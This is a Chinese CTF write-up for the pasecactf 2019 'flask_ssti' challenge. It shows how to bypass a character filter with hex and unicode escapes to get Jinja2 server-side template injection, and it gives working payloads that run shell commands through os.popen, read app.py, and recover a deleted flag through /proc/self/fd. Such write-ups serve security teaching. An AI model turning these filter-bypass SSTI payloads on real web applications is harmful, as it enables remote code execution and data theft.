[pasecactf 2019]flask_ssti
SSTI绕过
题目给了提示:
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')
题目直接是一个框,会返回输入的内容,根据题目名字测试SSTI:
存在SSTI,但是config里面的flag被加密了,提示那里可以看到。
然后就是去尝试构造SSTI语句进行RCE,不过肯定没那么简单,这里把.
、_
、'
这三个符号给ban了
单引号'
被过滤可以用双引号"
代替;至于点.
和下划线_被过滤可以采用16进制来表示,用[]
(类似数组下标)的方式选定。知道怎么过滤了那就照着以前payload修改就好了。
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}
成功执行我们的命令,但是flag并不在根目录下。
读取源码解密
直接读一下源码看看:
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy")["read"]()}}
还有另外一种读取的方式,利用了Flask中定义的函数get_data
来读取数据:
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
编码后为:
{{()["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f"][0]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[91]["\u0067\u0065\u0074\u005f\u0064\u0061\u0074\u0061"](0, "app.py")}}
得到源码app.py:
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
在注释中可以看到flag是异或加密的,由于是异或加密,因此异或的异或就等于原本的样子
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag = '-M7\x10wD2mk\x03!0{\x0eO\n<\x0f(DL\x1b\r\x17xi\x02e\x02\x0eB^!\x03\x7fx\x16h\x10\x0b\x1bG';
print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))
输出即可得到flag。
利用/proc目录
经过阅读源码我们,app.py会打开/app/flag文件,然后读取其中的内容进行加密,加密函数在提示中给出的源码中。最后会删掉flag,导致无法直接通过读文件来获取flag。但是可以通过/proc读取当前进程打开过得文件来获取内容,
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
注意:这里不能用命令执行去cat /proc/self/fd/3
,因为这样获取到得进程是cat
命令当前的进程,而不是当前服务的进程,所以是找不到flag的。